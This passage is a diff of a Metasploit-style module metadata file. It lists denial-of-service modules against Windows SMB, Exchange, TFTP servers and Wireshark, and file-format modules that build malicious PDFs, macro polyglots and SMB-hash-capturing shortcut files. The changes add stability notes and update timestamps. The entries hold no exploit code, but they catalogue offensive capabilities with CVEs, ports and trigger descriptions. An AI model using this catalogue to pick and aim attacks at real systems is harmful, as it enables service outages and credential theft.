"/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb", "is_install_path": true, "ref_name": "dos/windows/smb/ms05_047_pnp", @@ -17883,26 +17689,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-os-restarts" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms06_035_mailslot": { "name": "Microsoft SRV.SYS Mailslot Write Corruption", "fullname": "auxiliary/dos/windows/smb/ms06_035_mailslot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-07-11", "type": "auxiliary", "author": [ "hdm " ], - "description": "This module triggers a kernel pool corruption bug in SRV.SYS. Each\n call to the mailslot write function results in a two byte return value\n being written into the response packet. The code which creates this packet\n fails to consider these two bytes in the allocation routine, resulting in\n a slow corruption of the kernel memory pool. These two bytes are almost\n always set to \"\\xff\\xff\" (a short integer with value of -1).", + "description": "This module triggers a kernel pool corruption bug in SRV.SYS. Each\n call to the mailslot write function results in a two byte return value\n being written into the response packet. The code which creates this packet\n fails to consider these two bytes in the allocation routine, resulting in\n a slow corruption of the kernel memory pool. These two bytes are almost\n always set to \"\\xff\\xff\" (a short integer with value of -1).", "references": [ "BID-19215", "OSVDB-27644", @@ -17922,7 +17729,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb", "is_install_path": true, "ref_name": "dos/windows/smb/ms06_035_mailslot", @@ -17930,6 +17737,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -17943,16 +17755,14 @@ "auxiliary_dos/windows/smb/ms06_063_trans": { "name": "Microsoft SRV.SYS Pipe Transaction No Null", "fullname": "auxiliary/dos/windows/smb/ms06_063_trans", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module exploits a NULL pointer dereference flaw in the\n SRV.SYS driver of the Windows operating system. This bug was\n independently discovered by CORE Security and ISS.", + "description": "This module exploits a NULL pointer dereference flaw in the\n SRV.SYS driver of the Windows operating system. This bug was\n independently discovered by CORE Security and ISS.", "references": [ "OSVDB-27644", "MSB-MS06-063", @@ -17971,7 +17781,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2020-05-13 16:34:47 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb", "is_install_path": true, "ref_name": "dos/windows/smb/ms06_063_trans", @@ -17979,26 +17789,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms09_001_write": { "name": "Microsoft SRV.SYS WriteAndX Invalid DataOffset", "fullname": "auxiliary/dos/windows/smb/ms09_001_write", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "j.v.vallejo " ], - "description": "This module exploits a denial of service vulnerability in the\n SRV.SYS driver of the Windows operating system.\n\n This module has been tested successfully against Windows Vista.", + "description": "This module exploits a denial of service vulnerability in the\n SRV.SYS driver of the Windows operating system.\n\n This module has been tested successfully against Windows Vista.", "references": [ "MSB-MS09-001", "OSVDB-48153", @@ -18017,7 +17828,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2020-05-13 16:34:47 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms09_001_write.rb", "is_install_path": true, "ref_name": "dos/windows/smb/ms09_001_write", @@ -18025,19 +17836,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms09_050_smb2_negotiate_pidhigh": { "name": "Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference", "fullname": "auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18045,7 +17857,7 @@ "Laurent Gaffie ", "hdm " ], - "description": "This module exploits an out of bounds function table dereference in the SMB\n request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7\n release candidates (not RTM), and Windows 2008 Server prior to R2. Windows\tVista\n without SP1 does not seem affected by this flaw.", + "description": "This module exploits an out of bounds function table dereference in the SMB\n request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7\n release candidates (not RTM), and Windows 2008 Server prior to R2. Windows\tVista\n without SP1 does not seem affected by this flaw.", "references": [ "CVE-2009-3103", "BID-36299", @@ -18056,14 +17868,10 @@ "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-02 16:05:19 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb", "is_install_path": true, "ref_name": "dos/windows/smb/ms09_050_smb2_negotiate_pidhigh", @@ -18071,26 +17879,30 @@ "post_auth": false, "default_credential": false, "notes": { + "AKA": [ + "EDUCATEDSCHOLAR" + ], + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms09_050_smb2_session_logoff": { "name": "Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference", "fullname": "auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "sf " ], - "description": "This module triggers a NULL pointer dereference in the SRV2.SYS kernel driver when processing\n an SMB2 logoff request before a session has been correctly negotiated, resulting in a BSOD.\n Effecting Vista SP1/SP2 (And possibly Server 2008 SP1/SP2), the flaw was resolved with MS09-050.", + "description": "This module triggers a NULL pointer dereference in the SRV2.SYS kernel driver when processing\n an SMB2 logoff request before a session has been correctly negotiated, resulting in a BSOD.\n Affecting Vista SP1/SP2 (and possibly Server 2008 SP1/SP2), the flaw was resolved with MS09-050.", "references": [ "CVE-2009-3103", "OSVDB-57799", @@ -18099,14 +17911,10 @@ "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-06-02 16:04:51 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb", "is_install_path": true, "ref_name": "dos/windows/smb/ms09_050_smb2_session_logoff", @@ -18114,19 +17922,23 @@ "post_auth": false, "default_credential": false, "notes": { + "AKA": [ + "EDUCATEDSCHOLAR" + ], + "Stability": [ + "crash-os-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms10_006_negotiate_response_loop": { "name": "Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop", "fullname": "auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18134,7 +17946,7 @@ "Laurent Gaffie ", "hdm " ], - "description": "This module exploits a denial of service flaw in the Microsoft\n Windows SMB client on Windows 7 and Windows Server 2008 R2. To trigger\n this bug, run this module as a service and forces a vulnerable client\n to access the IP of this system as an SMB server. This can be accomplished\n by embedding a UNC path (\\HOST\\share\\something) into a web page if the\n target is using Internet Explorer, or a Word document otherwise.", + "description": "This module exploits a denial of service flaw in the Microsoft\n Windows SMB client on Windows 7 and Windows Server 2008 R2. To trigger\n this bug, run this module as a service and forces a vulnerable client\n to access the IP of this system as an SMB server. This can be accomplished\n by embedding a UNC path (\\HOST\\share\\something) into a web page if the\n target is using Internet Explorer, or a Word document otherwise.", "references": [ "CVE-2010-0017", "OSVDB-62244", @@ -18144,14 +17956,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-08-24 21:38:44 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb", "is_install_path": true, "ref_name": "dos/windows/smb/ms10_006_negotiate_response_loop", @@ -18159,19 +17967,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms10_054_queryfs_pool_overflow": { "name": "Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS", "fullname": "auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18179,7 +17988,7 @@ "Laurent Gaffie ", "jduck " ], - "description": "This module exploits a denial of service flaw in the Microsoft\n Windows SMB service on versions of Windows prior to the August 2010 Patch\n Tuesday. To trigger this bug, you must be able to access a share with\n at least read privileges. That generally means you will need authentication.\n However, if a system has a guest accessible share, you can trigger it\n without any authentication.", + "description": "This module exploits a denial of service flaw in the Microsoft\n Windows SMB service on versions of Windows prior to the August 2010 Patch\n Tuesday. To trigger this bug, you must be able to access a share with\n at least read privileges. That generally means you will need authentication.\n However, if a system has a guest accessible share, you can trigger it\n without any authentication.", "references": [ "CVE-2010-2550", "OSVDB-66974", @@ -18198,7 +18007,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2020-05-13 16:34:47 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb", "is_install_path": true, "ref_name": "dos/windows/smb/ms10_054_queryfs_pool_overflow", @@ -18206,19 +18015,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms11_019_electbowser": { "name": "Microsoft Windows Browser Pool DoS", "fullname": "auxiliary/dos/windows/smb/ms11_019_electbowser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18226,7 +18036,7 @@ "Cupidon-3005", "jduck " ], - "description": "This module exploits a denial of service flaw in the Microsoft\n Windows SMB service on versions of Windows Server 2003 that have been\n configured as a domain controller. By sending a specially crafted election\n request, an attacker can cause a pool overflow.\n\n The vulnerability appears to be due to an error handling a length value\n while calculating the amount of memory to copy to a buffer. When there are\n zero bytes left in the buffer, the length value is improperly decremented\n and an integer underflow occurs. The resulting value is used in several\n calculations and is then passed as the length value to an inline memcpy\n operation.\n\n Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and\n causes considerable damage to kernel heap memory. While theoretically possible,\n it does not appear to be trivial to turn this vulnerability into remote (or\n even local) code execution.", + "description": "This module exploits a denial of service flaw in the Microsoft\n Windows SMB service on versions of Windows Server 2003 that have been\n configured as a domain controller. By sending a specially crafted election\n request, an attacker can cause a pool overflow.\n\n The vulnerability appears to be due to an error handling a length value\n while calculating the amount of memory to copy to a buffer. When there are\n zero bytes left in the buffer, the length value is improperly decremented\n and an integer underflow occurs. The resulting value is used in several\n calculations and is then passed as the length value to an inline memcpy\n operation.\n\n Unfortunately, the length value appears to be fixed at -2 (0xfffffffe) and\n causes considerable damage to kernel heap memory. While theoretically possible,\n it does not appear to be trivial to turn this vulnerability into remote (or\n even local) code execution.", "references": [ "CVE-2011-0654", "BID-46360", @@ -18238,14 +18048,10 @@ "platform": "", "arch": "", "rport": 138, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb", "is_install_path": true, "ref_name": "dos/windows/smb/ms11_019_electbowser", @@ -18253,26 +18059,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/rras_vls_null_deref": { "name": "Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference", "fullname": "auxiliary/dos/windows/smb/rras_vls_null_deref", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-06-14", "type": "auxiliary", "author": [ "hdm " ], - "description": "This module triggers a NULL dereference in svchost.exe on\n all current versions of Windows that run the RRAS service. This\n service is only accessible without authentication on Windows XP\n SP1 (using the SRVSVC pipe).", + "description": "This module triggers a NULL dereference in svchost.exe on\n all current versions of Windows that run the RRAS service. This\n service is only accessible without authentication on Windows XP\n SP1 (using the SRVSVC pipe).", "references": [ "OSVDB-64340" ], @@ -18288,7 +18095,7 @@ "microsoft-ds" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb", "is_install_path": true, "ref_name": "dos/windows/smb/rras_vls_null_deref", @@ -18296,6 +18103,11 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -18309,30 +18121,24 @@ "auxiliary_dos/windows/smb/vista_negotiate_stop": { "name": "Microsoft Vista SP0 SMB Negotiate Protocol DoS", "fullname": "auxiliary/dos/windows/smb/vista_negotiate_stop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "hdm " ], - "description": "This module exploits a flaw in Windows Vista that allows a remote\n unauthenticated attacker to disable the SMB service. This vulnerability\n was silently fixed in Microsoft Vista Service Pack 1.", + "description": "This module exploits a flaw in Windows Vista that allows a remote\n unauthenticated attacker to disable the SMB service. This vulnerability\n was silently fixed in Microsoft Vista Service Pack 1.", "references": [ "OSVDB-64341" ], "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb", "is_install_path": true, "ref_name": "dos/windows/smb/vista_negotiate_stop", @@ -18340,26 +18146,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smtp/ms06_019_exchange": { "name": "MS06-019 Exchange MODPROP Heap Overflow", "fullname": "auxiliary/dos/windows/smtp/ms06_019_exchange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-11-12", "type": "auxiliary", "author": [ "pusscat " ], - "description": "This module triggers a heap overflow vulnerability in MS\n Exchange that occurs when multiple malformed MODPROP values\n occur in a VCAL request.", + "description": "This module triggers a heap overflow vulnerability in MS\n Exchange that occurs when multiple malformed MODPROP values\n occur in a VCAL request.", "references": [ "BID-17908", "CVE-2006-0027", @@ -18381,7 +18188,7 @@ "smtps" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb", "is_install_path": true, "ref_name": "dos/windows/smtp/ms06_019_exchange", @@ -18389,26 +18196,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ssh/sysax_sshd_kexchange": { "name": "Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service", "fullname": "auxiliary/dos/windows/ssh/sysax_sshd_kexchange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-17", "type": "auxiliary", "author": [ "Matt \"hostess\" Andreko " ], - "description": "This module sends a specially-crafted SSH Key Exchange causing the service to\n crash.", + "description": "This module sends a specially-crafted SSH Key Exchange causing the service to\n crash.", "references": [ "OSVDB-92081", "URL-https://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html" @@ -18416,14 +18224,10 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb", "is_install_path": true, "ref_name": "dos/windows/ssh/sysax_sshd_kexchange", @@ -18431,26 +18235,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/tftp/pt360_write": { "name": "PacketTrap TFTP Server 2.2.5459.0 DoS", "fullname": "auxiliary/dos/windows/tftp/pt360_write", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-29", "type": "auxiliary", "author": [ "kris katterjohn " ], - "description": "The PacketTrap TFTP server version 2.2.5459.0 can be\n brought down by sending a special write request.", + "description": "The PacketTrap TFTP server version 2.2.5459.0 can be\n brought down by sending a special write request.", "references": [ "CVE-2008-1311", "OSVDB-42932", @@ -18459,14 +18264,10 @@ "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/tftp/pt360_write.rb", "is_install_path": true, "ref_name": "dos/windows/tftp/pt360_write", @@ -18474,26 +18275,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/tftp/solarwinds": { "name": "SolarWinds TFTP Server 10.4.0.10 Denial of Service", "fullname": "auxiliary/dos/windows/tftp/solarwinds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-05-21", "type": "auxiliary", "author": [ "Nullthreat" ], - "description": "The SolarWinds TFTP server can be shut down by sending a 'netascii' read\n request with a specially crafted file name.", + "description": "The SolarWinds TFTP server can be shut down by sending a 'netascii' read\n request with a specially crafted file name.", "references": [ "CVE-2010-2115", "OSVDB-64845", @@ -18502,14 +18304,10 @@ "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-13 23:28:13 +0000", "path": "/modules/auxiliary/dos/windows/tftp/solarwinds.rb", "is_install_path": true, "ref_name": "dos/windows/tftp/solarwinds", @@ -18517,19 +18315,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/wireshark/capwap": { "name": "Wireshark CAPWAP Dissector DoS", "fullname": "auxiliary/dos/wireshark/capwap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-28", "type": "auxiliary", @@ -18537,7 +18336,7 @@ "Laurent Butti", "j0sm1" ], - "description": "This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well\n as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a\n packet correctly when an incorrect length is given.", + "description": "This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well\n as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a\n packet correctly when an incorrect length is given.", "references": [ "CVE-2013-4074", "OSVDB-94091", @@ -18546,14 +18345,10 @@ "platform": "", "arch": "", "rport": 5247, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/wireshark/capwap.rb", "is_install_path": true, "ref_name": "dos/wireshark/capwap", @@ -18561,26 +18356,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/wireshark/chunked": { "name": "Wireshark chunked_encoding_dissector Function DOS", "fullname": "auxiliary/dos/wireshark/chunked", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-02-22", "type": "auxiliary", "author": [ "Matteo Cantoni " ], - "description": "Wireshark crash when dissecting an HTTP chunked response.\n Versions affected: 0.99.5 (Bug 1394)", + "description": "Wireshark crash when dissecting an HTTP chunked response.\n Versions affected: 0.99.5 (Bug 1394)", "references": [ "CVE-2007-3389", "OSVDB-37643", @@ -18589,14 +18385,10 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/wireshark/chunked.rb", "is_install_path": true, "ref_name": "dos/wireshark/chunked", @@ -18604,26 +18396,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/wireshark/cldap": { "name": "Wireshark CLDAP Dissector DOS", "fullname": "auxiliary/dos/wireshark/cldap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-03-01", "type": "auxiliary", "author": [ "joernchen (Phenoelit)>" ], - "description": "This module causes infinite recursion to occur within the\n CLDAP dissector by sending a specially crafted UDP packet.", + "description": "This module causes infinite recursion to occur within the\n CLDAP dissector by sending a specially crafted UDP packet.", "references": [ "CVE-2011-1140", "OSVDB-71552", @@ -18633,14 +18426,10 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/wireshark/cldap.rb", "is_install_path": true, "ref_name": "dos/wireshark/cldap", @@ -18648,26 +18437,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/wireshark/ldap": { "name": "Wireshark LDAP Dissector DOS", "fullname": "auxiliary/dos/wireshark/ldap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-03-28", "type": "auxiliary", "author": [ "MC " ], - "description": "The LDAP dissector in Wireshark 0.99.2 through 0.99.8 allows remote attackers\n to cause a denial of service (application crash) via a malformed packet.", + "description": "The LDAP dissector in Wireshark 0.99.2 through 0.99.8 allows remote attackers\n to cause a denial of service (application crash) via a malformed packet.", "references": [ "CVE-2008-1562", "OSVDB-43840" @@ -18675,14 +18465,10 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2025-05-15 08:43:24 +0000", "path": "/modules/auxiliary/dos/wireshark/ldap.rb", "is_install_path": true, "ref_name": "dos/wireshark/ldap", @@ -18690,19 +18476,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fileformat/badpdf": { "name": "BADPDF Malicious PDF Creator", "fullname": "auxiliary/fileformat/badpdf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18720,14 +18507,10 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/auxiliary/fileformat/badpdf.rb", "is_install_path": true, "ref_name": "fileformat/badpdf", @@ -18735,44 +18518,91 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] + }, + "auxiliary_fileformat/maldoc_in_pdf_polyglot": { + "name": "Maldoc in PDF Polyglot converter", + "fullname": "auxiliary/fileformat/maldoc_in_pdf_polyglot", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "mekhalleh (RAMELLA Sebastien)" + ], + "description": "A malicious MHT file created can be opened in Microsoft Word even though it has magic numbers and file\n structure of PDF.\n\n If the file has configured macro, by opening it in Microsoft Word, VBS runs and performs malicious behaviors.\n\n The attack does not bypass configured macro locks. And the malicious macros are also not executed when the\n file is opened in PDF readers or similar software.", + "references": [ + "URL-https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html", + "URL-https://socradar.io/maldoc-in-pdf-a-novel-method-to-distribute-malicious-macros/", + "URL-https://www.nospamproxy.de/en/maldoc-in-pdf-danger-from-word-files-hidden-in-pdfs/", + "URL-https://github.com/exa-offsec/maldoc_in_pdf_polyglot/tree/main/demo" + ], + "platform": "Windows", + "arch": "", + "rport": null, + "autofilter_ports": [], + "autofilter_services": [], + "targets": null, + "mod_time": "2025-06-04 12:33:22 +0000", + "path": "/modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.rb", + "is_install_path": true, + "ref_name": "fileformat/maldoc_in_pdf_polyglot", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [], + "SideEffects": [ + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": false, + "actions": [] }, "auxiliary_fileformat/multidrop": { "name": "Windows SMB Multi Dropper", "fullname": "auxiliary/fileformat/multidrop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "Richard Davy - secureyourit.co.uk", - "Lnk Creation Code by Mubix", - "asoto-r7" + "mubix ", + "asoto-r7", + "hyp3rlinx", + "bcoles " ], - "description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference\n to the specified remote host, causing SMB connections to be initiated\n from any user that views the file.", + "description": "This module dependent on the given filename extension creates either\n a .lnk, .scf, .url, .xml, .library-ms, or desktop.ini file which includes\n a reference to the specified remote host, causing SMB connections to be\n initiated from any user that views the file.", "references": [ "URL-https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018", "URL-https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/", - "URL-https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/" + "URL-https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/", + "URL-https://web.archive.org/web/20190106181024/https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2022-12-04 17:41:24 +0000", + "mod_time": "2025-05-02 01:28:52 +0000", "path": "/modules/auxiliary/fileformat/multidrop.rb", "is_install_path": true, "ref_name": "fileformat/multidrop", @@ -18780,19 +18610,20 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fileformat/odt_badodt": { "name": "LibreOffice 6.03 /Apache OpenOffice 4.1.5 Malicious ODT File Generator", "fullname": "auxiliary/fileformat/odt_badodt", - "aliases": [ - - ], + "aliases": [], "rank": 300, 